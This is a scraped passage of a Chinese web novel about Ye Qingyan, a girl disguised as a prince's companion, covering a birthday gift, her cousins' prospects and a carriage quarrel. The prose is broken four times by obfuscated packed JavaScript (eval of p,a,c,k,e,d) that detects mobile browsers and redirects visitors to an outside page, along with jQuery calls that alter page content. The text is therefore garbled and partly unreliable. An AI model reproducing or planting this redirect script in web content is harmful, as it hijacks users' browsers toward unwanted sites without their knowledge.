“是我院里的一个婆子调的,具体是何香我也不知。” “你那还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林翊微不可察地抽了抽嘴角,飞快扫了叶青言一眼,见她也正看着自己这边,眼睑微微垂下,睫毛搭在白皙的肌肤上,十分悦目。 林翊被看愣了一瞬,但很快就又恢复了过来,板着脸道:“不是觉得刚刚的搏斗好看吗?起来,我们也来比划比划。” “我跟你?”沈昭大惊,“不了吧……我又打不过你。” “切磋罢了,结果不重要。” “那你跟阿言比去。”沈昭试图甩锅。 林翊根本不接这茬,直接走出凉亭,对着沈昭做了请的姿势。 沈昭骂骂咧咧,可还是起身走了出去。 林翊问叶青言:“阿言压谁胜出?” 叶青言笑说道:“自然是殿下您。” 沈昭听罢,张牙舞爪:“你们两个!不要太过分了!” 话虽这么说,可他的嘴角也微微翘了起来。 从宫里出来,叶青言看了看天色,差不多已是酉时末,便也不同沈昭再多寒暄,匆匆就回了国公府。 当天夜里,叶青言回到穿云院。 望舒惯常备好了热水。 今晚叶青言需要洗头,便使用了浴桶。 她浸泡在温热的水里,暖黄的烛光映着她的面容,薄雾缭绕之下,她的肌肤细腻得彷如明珠一般。 在她的身后,望舒将手指插入她的发中,一下一下,温柔地搓揉着。 “您的头发可真好。”望舒感叹,“乌黑又柔顺。” 这样乌黑的头发,若是梳上发髻带上头面,定然十分好看,当然,这话望舒并没有说出来。 嗅着空气中弥漫起的丹桂清香,叶青言突然想到林翊今日说过的香味。 她用的胰子就是丹桂味道的…… “拿水多冲洗几遍,不要让头发残留下胰子的气味。”叶青言嘱咐,她的声音平缓而轻柔,却带着不容置喙的果断。 “奴婢晓得的。”望舒道。 话音才落,又听叶青言道:“以后也不要再用这胰子了,换些不带花香的来。” 望舒洗发的手一顿,小心翼翼问:“可是出什么事了吗?” “无事。”叶青言淡声说,过了会儿,又道,“就是想小心些,这事儿你无需知会母亲。” 望舒又是一顿,道:“奴婢明白。” 7. 准备寿礼 每日进宫、下学,日子在同样的步调中,平淡无奇地往前走着。 这日散学时,荀夫子突然向众学生们宣布了一件事。 下月二十二,是谢夫子的五十岁生辰,学宫准备为他操办一场寿宴,已得了陛下的允准,届时学生们若有得空的,都可前来参加。 荀夫子这话说的委婉,可在座众人作为谢夫子的学生,此事又已经得了陛下的允准,便是再如何自持身份尊贵,也需得前来赴宴。 而要参加寿宴,必得准备一份寿礼。 送礼是一件很令人头疼的事。 走出学宫的路上,林翊问叶青言道:“阿言准备送夫子什么寿礼?” 作为谢夫子最看重的学生,叶青言不好也似其他同窗那般随意送份笔墨砚台了事,是以她还在琢磨,也如实说道:“我还没有想好,打算等晚上回去了再好好想想。” “这有什么好想的。”沈昭突然从旁边窜出,抬手揽在叶青言的肩膀上,“送夫子一块玉啊,白玉无瑕,学生送夫子玉珏,最是合适不过。” 送玉珏倒也有在叶青言的考虑范围之内,只是还没有做下决定。 既是送礼,心意是一方面,但也要投其所好。 众所周知,谢夫子有一大喜好——收藏大家之画作。 在众多作画大家里,谢夫子最喜欢的当属晋朝画手顾恺之,且尤爱其所著的山水画。 叶青言有心想送谢夫子一幅顾恺之的山水画。 可顾恺之流传于世的画作不多,实难寻得。 沈昭几乎将自己的半个身子都压到了叶青言身上,边带着她往前走,边道:“明日可就是我们沈府举办的马球比赛了,你今晚回去好好休息,养精蓄锐,不要总想这些有的没的,明天随我一起战个痛快!等比赛结束了,小爷我亲自带你去挑礼物。” 沈昭手舞足蹈,气势汹汹。 林翊皱眉看着沈昭搭在叶青言肩膀上的手,强忍着想要将其拂开的冲动。 林翊也不知自己最近是怎么了,他突然就见不得别人靠阿言这么近。 即使能这样靠近阿言的,只有他与淮之。 叶青言是戒备心很重的一个人,又有洁癖,这么多年,除了自己与淮之还真没见她同其他什么人交过心。 都是兄弟,淮之搭一下阿言的肩膀怎么了?林御章你给我清醒一点!你不能因为阿言聪慧明理,就多喜欢她一点! 对啊……阿言明理又聪慧,这样的人连谢老头那种老古板都喜欢,自己多喜欢她一点,想跟她多接触一点怎么了? 这么一想,林翊心里放松了不少,并在下一刻,彻底放松了下来。 因为叶青言已不着痕迹地拂开了沈昭的手,她的动作不急不徐,神情也依旧温和,仿佛一阵轻风,完全不会让被拒绝者产生半点自己正在被人推开的不适感。 其实叶青言的动作已经很快了,沈昭的手就没在她身上停留多长的时间。 阿言似乎一直都是这样,比起淮之,自己同她的肢体接触似乎多得多,也会更长久一些,阿言也不会如眼下这般,自己的手才一放到她的肩上就推开…… 意识到眼下心中所想,林翊觉得有些尴尬,脸颊却不自觉得有些发热。 清风拂动树梢,摇下一树斑驳光影。 林翊神情淡然,然其真实情绪不然:“学生送夫子玉珏,是很合适,却没什么新意。”他走在叶青言的另一侧,双手负背,施施然道,“咱们学堂十几号人,到时会送玉珏的想来也不会少。” 叶青言点头赞同:“殿下说的极是。” “那你们说送什么?”沈昭摊手,“难不成还要为了谢老头去重金求购顾恺之的画?” 叶青言歪着头很认真地想了想,秀美的脸上渐渐浮出笑容:“我倒是想啊,就怕时间不够。” 林翊听了眼神微动,却也没说什么,沉吟了片刻,道:“普通的玉珏不成,却可以送枚玉章。” “玉章……对啊。”沈昭喜道,“选块上好的玉石,在寻个巧匠刻上寓意吉祥的字,也是别出心裁,这可比单送玉珏有心多了。” 叶青言闻言,不觉陷入了思考。是很认真的思考,眉间因为过分认真的思考而皱出极好看的小小褶子。 “若决定了要送玉章,就得加紧一些,距离夫子生辰可没有多少时间了。”林翊看着叶青言,嘴角微翘,他有信心阿言会同意他的这个建议。 叶青言默了一默,果然不出林翊预料地点了点头:“待会儿出宫,我便去玉石铺子上看看。” “我同你一起去。”沈昭说,“我知道城东有间成色不错的玉石铺子,咱们可以去那儿瞧瞧。” 林翊:“……”他也想去!但作为尚未出宫开府的皇子,他无法仅凭自己的心情随意出宫,便只能看着自家表弟和伴读一起离宫而去。 傍晚时分,残阳渐没,伴着玫瑰红的暮色,叶青言随同沈昭一起到了城东。 此时正是晚膳时间,街上行人不少,道路两侧的酒楼开门迎客,吆喝声并着饭菜的香气扑鼻而来,诱得沈昭直嚷嚷着要先吃饭。 大少爷都发话了,叶青言只能应允,两人并排走进旁边的云客来酒楼。 云客来是京城最出名的酒楼之一,酒楼以豪奢著称,内部装潢华丽,点金涂彩,富丽异常,不止装潢,云客来的菜色也以奢华为主,汇聚天下名菜,很受豪绅富户们的喜爱。 眼下正值饭点,酒楼的食客不少,闹哄哄的,但这并不影响三楼包房区的清静。 云客来的三楼就只接待权贵。 叶青言在桌边落座,将点菜等一应事宜都交给了沈昭做主。 作为京中出了名的纨绔,哪个酒楼有哪些招牌好菜,沈昭再清楚不过,不一会儿便将云客来的招牌菜都点了一遍。 叶青言没忍住出言提醒他:“就我们两人,可吃不了这么多。” “你难得出来一回,我不得好好招待一番?”说完这话,沈昭好似想到了什么,不觉笑了起来。 叶青言也跟着笑了,说道:“我没记错的话,五天前殿下出宫,你带我们去了‘一品居’用餐,当时也说了同样的话。” 沈昭方才也是因为想到了这事儿才会发笑,但他嘴硬:“常言道一日不见如隔三秋,这都已经过去了五天,还不算难得吗?” 叶青言喝了口茶,微笑着道:“明日我会记得将这话转达给殿下,提醒他莫忘了沈小侯爷您的拳拳思念之情。” 一听她要告诉林翊,沈昭再也绷不住脸,连连摆手:“可以了,很够了,咱们可是兄弟,你不能害我。” 因着大长公主与皇后交好,沈昭自幼就爱跟在林翊身后跑,每回闯祸也都是林翊在大长公主面前给他兜底,长此以往,沈昭便在无形中低了林翊一头。 当然这里的低一头,与身份地位无关。 叶青言正想借机减几个菜,可正此时,隔壁厢房突然传来一阵刺耳的桌椅碰撞声,紧接着是极不屑的一句嘲讽。 “没银子你跟着我们来酒楼作甚?”这句话很刻薄、很寒冷。 “是你们邀请我来的!” 回话的,显然就是那人的嘲讽对象。叶青言听到这声音,目光微微一凝。 此言一出,隔壁厢房顿时爆发了响亮的嘲笑声。 “我们邀请你?你以为你是谁啊?还当自己是曾经的成国公府呢?不过是个破落户,还我们邀请你?让你请我们吃饭是给你面子,居然还不乖乖掏钱?” 果然是他…… 叶青言放下手里的杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922580|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸上没有什么表情,眉宇间霜色渐现。 沈昭看着依旧坐着的叶青言,她神情平静,像是完全没有听到隔壁的对话一般,可沈昭还是注意到了,阿言的呼吸声比平时急促了些许,虽然依然平缓,但终究还是急促了些。 沈昭张了张嘴,终是没说什么,起身走到门边,示意在门外候着的护卫永安去解决隔壁的争端。 永安领命而去。 很快隔壁就没了声响。 永安作为沈昭的贴身护卫,成日跟在沈昭身边,相当于是沈昭的第二张脸,因而很多官宦子弟都知道他的身份。 饭菜很快送了上来,满满摆了一桌。 见叶青言看着一桌子饭菜皱眉,沈昭解释道:“不会浪费的,永安和远山也要吃,还有外面的车夫,他们的胃口都很大。” 叶青言一怔,这才反应过来,大户人家都是这般,便是宫里也一样,主子们吃不完的饭菜会赏赐给下面的人享用。 因为隐藏性别的关系,叶青言从未将自己吃剩的东西赏给过远山等人,她很不习惯这点,觉得这样不好,所以总会忘了这事儿。 但这个规矩确是切实存在的,能享用主子的饭食,与下面的人而言或许还是一种荣幸,这点叶青言无法否认,她改变不了这个现状,便只能尽量与人方便。 叶青言吃菜的时候,特别用另一双筷子来夹盘子里的菜,末了,再用自己的筷子吃已经夹到了碗里的菜,而且她只吃一边,不会把整盘菜都拨乱。 她的吃相很是秀气, 沈昭欲言又止,但也还是跟着叶青言一起又拿了双筷子夹菜。 这一顿饭,两人吃的相当沉默。 饭毕,小二又斟了两碗香茶上来,叶青言喝了一口茶,脑中回想着自己刚刚听到的事。 父亲战死,二叔三叔资质平庸,此后成国公府日渐败落。 自己虽幸运地成了二皇子的伴读,可终究还只是个少年,并不被人放在眼里。 刚刚在隔壁被人奚落的是她的二堂弟叶青淮,目前就读于国子监。 因着大房与二房、三房的龃龉,叶青言与叶青淮交情不深。 但隐约也知晓这个弟弟是极天真的一个人,不然今日也不会被人诓骗至此。 沉思半晌,叶青言决定尝试一下某种事情,他们毕竟是血脉相连的堂兄弟,有些凄惨的结局若能避免最好还是避免一下。 “淮之,能否请你帮个忙。”打定了主意,叶青言问沈昭道。 沈昭挑了挑眉,状似不悦:“你我之间,直言便是,说什么帮不帮忙。” 叶青言听罢,笑了起来,随即语调轻轻地说出了自己的请求。 沈昭无有不应。 当两人走出云客来大门,暮色愈重,夕阳最后的余光,隔着道路两旁的高树洒落而下,无数片树叶的影子包裹了两人的全身。 叶青言随着沈昭去了玉石铺子,并从中挑了块上好的玉料。 至于玉章上的刻字,叶青言选了个极罕见的古体“和”字,与店家约定了十日后上门取货。 和字讨巧,送人最是时宜。 沈昭看着店铺里的各种印章很是喜欢,本想选几个好看的带走,但叶青言已先行选了块刻有“持重”字样的印章赠送予他。 沈昭拿过玉章,看着上面的“持重”字样就是一通抱怨。叶青言见他不喜便想收回,可他又不肯还了,还直嚷嚷着送出去的礼物泼出去的水。 叶青言十分无奈。 出了玉石铺子,二人约定好明日再聚,便各自告辞回去。 马车停在国公府正门处。 叶青言走下马车,将手里的两张请柬递给远山,吩咐他将东西送往二婶和三婶的院子。 远山领命离去。 8. 同宗同源 夏日的白昼很长,时至戌时,天际依旧透着亮色。 叶青言回到书房。 烛火燃起,因着外面的天色没有全黑,而显得屋里的烛光极是黯淡。 叶青言罕见得没有温书,而是负手站在书房的漏窗前,静静望着院中北角的那一小片竹林。 她在等人。 等两个不知会不会来的人。 她已跨出了这最关键的第一步,也不知二婶、三婶能否领会她的意思…… 是的,二婶和三婶。 叶青言从未将希望寄托在二房、三房那两个当家男人的身上,哪怕一刻。 她的那两位叔父,早被宁晖堂里的老太太给养废了。 至于二婶和三婶,她们虽非世家出身,却是当年祖父亲自挑选的儿媳,其心性眼界并不浅薄,也从未给过大房和母亲难堪。 据谭嬷嬷所言,当年母亲有孕,三婶还曾暗中关照过母亲的身子。 二堂弟也被二婶教养的极好。 若她们足够聪明,应能看出自己今日送帖背后的含义。 随着时间地推移,天幕彻底暗了下来,眉月悄悄爬上树梢,有风吹过,墙角的竹林沙沙作响。 其实也不能说竹林,那角落只种了数量不多的十数株紫竹,夏季竹枝繁茂,远远瞧着一片,似林却非林。 气候使然,北方种不得高大的竹子,只能栽些精巧的观赏竹,紫竹就是其中之一,直节亭亭,迎风而长。 一竹难成气候,众竹却可称林,此亦为家族兴盛之道。 无论如何,二房和三房也都是成国公府的血脉,在当下这个一人犯错全族遭殃的时代,他们是一荣俱荣一损俱损的关系。 叶青言的曾祖父,第一代成国公叶谢清与太祖皇帝有袍泽之情,他的祖父更是当今圣上的武学师傅,他们叶氏一门也曾烈火烹油,显赫一时。 可自从父亲战死沙场,他们叶氏一脉就以肉眼可见的速度走下滑坡。 这一切都归功于她那不成器的两个叔叔。 父亲战死,家族重任自然便落到了二叔、三叔的身上。但这两人,一个孤芳自赏,一个好高骛远,不仅能力不行,还识人不清,常常被政敌利用而不自知,几次犯下过错,若非今上顾及与祖父的师生之谊,以及父亲为国捐躯之大意,只怕这京城早就没有他们叶氏的容身之所。 因为父亲的功绩,以及二叔三叔这些年来的作为,成国公的爵位早与他们无缘。 在丈夫身上看不到希望的内宅妇人们,自然就将目光转移到了儿子们的身上。 是以今岁年初,二婶捐献了万贯家财,就只为将青淮堂弟送进国子监。 国子监下设有国子学。 国子学会在每年春季对外招收12-14岁的学童。 当然,也不是所有学童都有资格进入国子学读书,不然二婶也不用砸下大笔银子。 要想入学国子学,只有通过两条途径,一是荫学,二是拔贡。 凡家中有直系长辈的官职在从五品之上的学童,可以直接被举荐到国子学的贡监处,审核过后便可入学,此为荫学。 若家中没有从五品以上的官员,那该学童就得经过当地州府的举荐,至国子学的司业处,再由国子学统一考拔,从中选出最优的一百人入学,此为拔贡。 去年三月,叶勉因涉及前御史大夫郑璐的贿赂案,被陛下降为太常寺寺丞,一个正六品的闲职。 叶青淮无法走荫学的路子,二婶便砸下大笔银子,为他走了拔贡的路子。 二婶张氏是商户之女,家财万贯,当初娘家将她嫁进国公府,就是希望能通过这门姻亲来改换门楣,不想女婿竟是个没用的。 张氏虽有心培养儿子,可儿子终究太小,大多时候还得仰仗丈夫的庇护。 二房尚且如此,三房就更不必说了,嫡子叶青晨年仅十一,三婶朱氏又出身清贵之家,不像二婶那般可以借着砸银子开道。 在这种心态的驱使下,即便知晓自己的丈夫有几斤几两,两位婶娘也还是会劝导他们放开手脚去干。 尤其是三婶,明知三叔叶钰志高才疏,容易受人蛊惑,还是不管不顾地鼓动他去结交权贵,以期能搭上一条康庄大道,为儿子谋得前程。 虽然这样的机会渺茫,可万一成功了呢? 婶娘们这样做,未尝不是一种赌徒心理。 因为她们觉得,只要不牵扯进什么谋逆夺嫡的大事件里,其他小事总还有祖父和父亲的功绩给他们兜底,最差也不过是被夺了官位,只要还有大房在,她们就还是成国公府的人。 这么些年,也幸好还有她们两人在旁监督,若否还真不知二叔、三叔能捅出什么篓子来。 但这仍是极危险的一种想法,尤其是对他们大房而言。 帝王的容忍是有限度的,叶青言决不允许陛下对国公府两代国公的情谊,就这样葬送在两位叔父的手中。 其实这个念头,从二叔第一次被降职时就已经存在在叶青言的脑海,只是她当时还太小,无能阻止,便是现在她也无法去插手隔房长辈的事。 她不可以,但两位婶娘可以。 叶青言让远山送去的那两张请帖,便是想让她们知道,她们的儿子可以不用依靠父亲,也能另辟蹊径,走出自己的路。 看到了母以子贵的希望,婶娘们自然就会看住自己的丈夫,不使他们再犯错误而连累了儿子。 作为母亲最在乎的就是自己的孩子,孩子好了,她们才能好。 当然,这些都只是叶青言的预想,能否达成尚未可知。 就算不能达成这个目的,叶青言也无所谓。她早就想好了让二房、三房离开京城,回去益阳老宅的法子,就是还得再等上两年。 两年的时间,足够发生很多变化,再加上叶青言今日在云客来听到了叶青淮因家族败落而被旁人奚落的一幕。 分明是长辈无用,承担后果的却是其子孙后代…… 两位堂弟并未做错过什么,他们不该因为父亲的无能而被驱逐回乡,所以叶青言决定再给他们一次机会。 也顺便看看两位婶娘能否管住自己的男人。 若能,她不介意帮衬她们一把。 同时,也是给母亲和妹妹安排另一条后路。 倘若哪天她身份的秘密再也无法隐瞒,她将会以最决绝的方式毁去自己的躯体,绝不让自己的存在危害到族里的其他人。 …… 夜是漆黑的,灯笼是素白的。 叶青言凝视着夜色,俏脸含霜,不过是间常规格局的书房,却被她站出了九尺宫阙的感觉。 而叶青淮、叶青晨就是在这时候来到的书房。 看着联袂而来的兄弟两人,叶青言很是满意,两位婶娘不愧是祖父亲自挑选的儿媳,不仅聪明,还很识趣。 两名少年沐着月色,缓步走进了灯色里,尚且稚嫩的两张脸上,透着几分局促,几分拘谨。 “兄长。”叶青淮进屋后,恭敬地对叶青言行了一礼。 叶青晨见状,忙也跟着行了一礼。 叶青言走上前,虚虚扶了二人一把:“两位弟弟不必多礼,坐。” 三人先后落座。 不知何时进来的远山,很有眼色地上了茶来。 因着不是一母所生,国公府大房与二房、三房的关系并不亲密,这也导致他们堂兄弟几人相处的非常不自然,亲近谈不上,生疏也还没有机会彻底转变成陌生。 见完礼后,便是一阵难捱的沉默,场面很是窘僵。 冷场是很令人尴尬的一件事,尤其是发生在亲人之间,更是尴尬到无以复加的程度。 其实这样的僵持场面,叶青言很容易就能打破,可她什么也没有说,只静静坐着,施施然给两人各斟了一杯茶。 书房的屋门大开着,抬眼便能看到屋外的景象。 月悬树梢,银光满地,忽见一场清风从墙角的竹林处生起,卷起地面的枯竹,拂动树上的青翠嫩叶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922581|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出哗哗如雨的声音。 清风悄然入室,带来一阵凉意,令人心神为之一爽。 率先开口打破沉默的人是叶青淮,他说:“多谢兄长给弟弟们送来的拜帖,我与晨弟此番特地过来,是想向兄长请教……明日的马球赛上可有什么需要特别注意的地方。” 叶青言听罢也不藏私,将明日会有什么人前往,哪些人可以结交,哪些人需要回避等等,都诚实地说了。 叶青淮认真地听着,一一记在心里,末了说道:“我都记下了,明日定会注意,到时也会看好晨弟,不给兄长你惹麻烦。” 叶青言微笑着看着他,良久,摇了摇头:“有人的地方就会有麻烦,很多时候不是你去惹的麻烦,而是麻烦找上的你。” 叶青淮一怔,似是想到了什么,垂下眼睛,很有些羞赧道:“昨日其实是兄长你给我解的围,是吗?” 叶青言没有承认,也没有否认,而是接着刚才的话题继续说道:“所以你们两人都不必因为害怕惹麻烦而畏手畏脚,只用遵从本心,不仗势欺人,不趋炎附势,大大方方地去同人结交便好。” 一直没有说话的叶青晨听了叶青言这话,稚嫩的脸上很是意动,他问:“那若是别人非要找我们麻烦,该怎么办?” “自然要据理力争。”叶青言说着,赞赏地看了叶青淮一眼,显然是对他昨天那不屈服的行为感到满意,“不必对此感到害怕,即使大部分人都不站你这一边也无妨,你只要对得起自己。人就是这样,当你得势的时候,所有人都会成为你的助力,正所谓花花轿子众人抬,可当你失势的时候,大部分人都会成为你的阻力。” 叶青言越说,脸上的神情越平静,心情也越来越轻松,心中却涌起一股说不明白的惘然。 他们明明还这般年少,却已经要开始费尽心机地为自己谋划出路。 停顿了半晌,叶青言又说:“生命对于每个人都只有一次,这仅有的一次生命我们都该好好对待,如此,才算不枉此生。” 叶青晨眼波流转,盯着叶青言的脸,眼中流露出仰慕之色。 “但也要注意好分寸,愚蠢又不懂得转脑筋的人才会不顾一切地为了所谓的面子孤注一掷,聪明人一向都知道如何运用自身优势,从别人身上获取自己的利益。”叶青言说完,又看向了叶青淮,“这一点你母亲就做得很好,我相信你也能做的很好。” 清瘦的少年坐在室中,眸光清澈,说出的话却掷地有声,仿佛天地间只有她的话清明悦耳,如晨钟暮鼓,敲打着两位听者的心。 叶青言看上去沉默寡言,谨慎守礼,但事实上,她在很多方面无来由的绝对自信,这导致了她会给人一种极其嚣张的感觉。 薛越看她就是这种感觉,所以才会不自觉的找她麻烦。 叶青淮定定看着叶青言,想到自己过来前母亲对自己说的那些话…… 他的母亲确如堂兄所说的那般,最是懂得如何从别人身上获取自己所需的利益。 兄长瞧着似乎并不讨厌母亲那样的做法。 斟酌再三,叶青淮还是说出了口:“这一回是母亲特意知会我过来的,刚刚的话也是母亲教我说的,母亲她是想让我借你的势获自己的利,你……不反感吗?” “我为什么要反感?”叶青言反问,“你们也都是叶氏的子孙,是国公府的一员,我们身上流着同宗同源的血,荣辱相生,本就该相互扶持。” 叶青淮与叶青晨听了这话,不觉对视了一眼,都从对方的眼里看到了欣喜,兄长这是真心想要提拔他们。 “兄长说的极是,弟弟受教了。”叶青淮起身郑重作了一揖。 叶青晨也学摸学样跟着起身作了一揖,稚嫩的脸上满是高兴的笑容和对未来的期待,显然他过来之前,三婶也交代了他不少。 叶青言淡淡笑了笑,想到宁晖堂里那个蠢笨的老妇人,略有些出神,希望这宅子以后能安静一些,若否她也还是会执行原本的计划,两位婶婶可不要让她失望才好。 9. 门前抢道 黎明时分下过一场雨,雨势不大,下得也不久,天还未亮,雨便已停。 可饶是如此,清晨的天气也还是因为这场小雨而比往常凉快了很多。 时方卯初,叶青晨就被母亲朱氏从床上叫起。 许是因为知晓今日要出门打马球的缘故,叶青晨半点也没有赖床,干干脆脆就起了身,稚嫩的小脸红扑扑的,满眼都写着兴奋。 朱氏亲自给他套了一件姜黄色的束腰劲装,边给他整理衣裳边嘱咐道:“这是你第一回参加这样的宴会,跟别家的公子也还不熟,到时定要注意一些,照顾好自己,跟着两位兄长一道,别落单了。” 从昨日接下帖子至今,朱氏的心情就没有真正平复下来过,又是激动,又是焦心,以至昨夜整晚都没有睡好。 她又絮絮交代了许多,叶青晨也都一一应下。 同样的场景,也发生在二房的院子里。 只张氏的心思要更加深沉,所交代的也比朱氏的要更为细致一些。 她除了让叶青淮顾好自己,还嘱咐他要照看好叶青晨,要听叶青言的话,不要与人起冲突,再看情况适时结交一些人脉,等等。 总之就是交待叶青淮在不损人的情况下,将自己的利益最大化。 在两院女主人的循循叮嘱之中,时间悄然来到了辰时。 叶老太太或许有这样或那样的毛病,但她却是真心疼爱自己的孙子,尤其是叶青淮、叶青晨这两个金孙,所以每逢旬假,叶老太太都会让大厨房备下丰盛的膳食,再让叶青淮和叶青晨两人到她的宁晖堂来一起用膳。 此时的宁晖堂花厅,已摆了满满一桌子的早膳。 张氏带着叶青淮先行来到。 叶老太太见了叶青淮的穿着,笑着问道:“淮哥儿今日是要出门?” 叶青淮点了点头,正待说些什么,朱氏就领着叶青晨也走进了花厅。 母子俩先后向叶老太太行礼。 又见叶青晨的穿着,叶老太太十分诧异,左右看看面前的两兄弟,狐疑道:“你们这是要一起出去?” “是啊祖母。”叶青晨喜滋滋地说。 他张着嘴还想再说什么,就觉察到母亲悄悄捏了捏自己的手,示意自己不要多言。 叶青晨不明所以,却还是收了声。 先不将事情告知老太太和当家的,是朱氏和张氏商量过后的决定。 一来,是她们尚不确定此路是否可行,若行不通,便没必要将事情说出来,徒惹老太太生气。 二来,是他们不想因为老太太,而使得今日之行生出变数。 张氏笑着上前,不着痕迹地接过了话题:“孩子们难得旬假,便约了平日交好的几个伙伴一起出去郊游,媳妇也觉得多出去走走有益于他们同窗之间培养感情,便应允了下来。” 叶老太太很不赞同,斥道:“这大夏天的,那样晒的日头,出去郊什么游,你一个做娘的,也不好好为哥儿的身子着想,仔细别给晒坏了。” 当着众人的面被训斥,张氏也不恼怒,依旧笑笑道:“母亲您说的是,是媳妇考虑的不周了,都说家有一老如有一宝,这话还真没有错,下次再有这样的事情,媳妇定先问过您的意思。”张氏这话说得十分真诚,话语中的钦佩之意亦分外明显,叶老太太听了果然舒展了眉眼。 张氏见状,笑着再道:“只是这回已经回了帖子,不如就让他们过去一趟?” 叶老太太看向两个孙子,见他们都一脸期待地看着自己,尤其是晨哥儿,眼巴巴的,生怕自己会拒绝。 叶老太太哪里受得了这样的眼神,可又不想妥协得太快,说道:“午间太阳毒辣,可得避着点阳光,解暑的凉茶也得多带些。” 张氏笑道:“这些媳妇都打点好了,母亲您请放心。” 叶老太太:“那便去吧,要早些回来。” “是,祖母。”叶青淮、叶青晨齐齐应道。 之后的气氛轻快了很多。 与祖母、母亲一道用了早膳,又听了几句嘱咐后,叶青淮便携同叶青晨离开了宁晖堂,往大门方向走去。 两人到的时候,叶青言已经等在了马车前边。 三人相互见了礼,便各自登上了马车。 已是辰正,该出发了。 车轮辗压过玉石巷的青石板,发出辘辘的声音,挂有成国公府标志的马车载着叶氏三兄弟向着位于城郊的避暑山庄而去。 他们去往的这座避暑山庄名为陶园,地处京都西部,是一片极大的庄园,内里有一块占地极广的校场,宽阔壮观之极。本朝成立之初,太祖皇帝还在此阅过兵将,不过往后太平盛世,此处便成了皇家子弟们玩乐骑射的地方,直至二十一年前,先皇将此地赐给大长公主作陪嫁。 沈昭特意将马球赛设在此处,可见他对这次比赛的看重。 这个时节,出城避暑的马车不少,再加之三人出发的也不算早,故而等他们来到陶园外时,前面已经有序地排了好些马车,正有条不紊地准备进入园中。 马车刚刚缓下速度,叶青晨便迫不及待地掀开小窗的帘子往外看。 “好多人啊!”看着眼前车水马龙的景象,叶青晨不觉发出了感叹。 他自来便是活泼的性子,再加上年纪小,又被朱氏保护的好,对上一辈的恩怨也没有叶青淮那么清晰的认知,所以在经过昨晚的兄弟交谈后,他便能如同对待叶青淮那般地对待叶青言。 过来的这一路上,叶青晨始终笑得开怀,也是因为有他,才使得这一路的气氛不那么沉闷。 “殿下们也会来吗?”叶青晨回头问叶青言道。 叶青言点头:“淮之给年长的四位皇子都下了帖子。” 叶青晨眨了眨眼,十分好奇再问道:“那他们也要在这排队才能进园吗?” 叶青言一怔,她没有想到对方关心的竟是这个。一会儿,叶青言笑了起来,说道:“陶园的东边还有一扇门,皇子们会从那扇门进入园子,不用和我们一起排队。” “这样啊。”叶青晨遗憾。 就在这时,马车突然发出一声长长的摩擦声响,伴着车夫急迫的一声长“吁——”,马车急停,惯性使然,车里的三人不觉往前倾去。 “小心!”叶青淮惊喝一声,抬手稳住了本就坐姿不正的叶青晨。 叶青言手扶车壁坐稳,见二人无碍,稍稍松了口气。 赶车的车夫看着旁边那辆突然冲上来,差点就要与自家马车撞到一起的华贵马车,再想到车内坐着的三位少爷,冷汗不由自主地往下淌,若非他刚刚反应即时,那猛地一撞可不得了。 车夫十分生气,可还没等他出言询问,对面马车的车夫就已经骂开了。 “你们成国公府是怎么回事?没看到我们的马车要进门吗?也不知道让一让!” 语气之恶劣,态度之嚣张,让入口处的其他人听了都忍不住皱起眉来。 马车中的叶青言等人自然也将这话听了个真真切切。 叶青晨当即就要掀帘出去,却被叶青言拦了下来。 叶府今日赶车的车夫是平日常送叶青言进宫的那位,他一眼就看出对面找茬的何人,稍稍往后靠了靠,小声地对叶青言说:“少爷,是薛府的马车。” 果然是他,叶青言垂了垂眼,平静道:“不必多言,直接挤开他们,我们先进。” 话毕又示意两位堂弟坐好。 叶青淮闻言,震惊地看着叶青言,显然没想到她会这么强硬。 叶青晨也看向了叶青言,满脸满眼都是崇拜,他喜欢大堂兄这样直截了当的做法! 两兄弟对望一眼,而后依言坐好,两只手牢牢地抓着底下的车座,免得被冲撞了。 “喏。”车夫得了准允,也不与对面之人多做口舌争辩,当下狠狠一甩马鞭,两匹马儿靠得极近,这一鞭子下去,两匹马都仿佛得到指令般,动了起来,叶府的车夫手握马缰,指挥着自家马儿挤开了薛府的马车,径直朝前驶去。 薛府的车夫正骂得高兴,没料对方会有此动作,一时没能拉住马缰绳,马儿受惊后退,叶府的马车就这样堂而皇之地越过了他们。 车中的薛越和小厮也因为马儿的连连后退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922582|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而被摔到了一起。 痛呼声透过马车传出,周围的其他人听了,不由都笑出了声。 这些笑声里,有失笑,也有嘲笑,有的笑声是无意的,有的笑声是有意的。 无一例外,都是很刺耳。 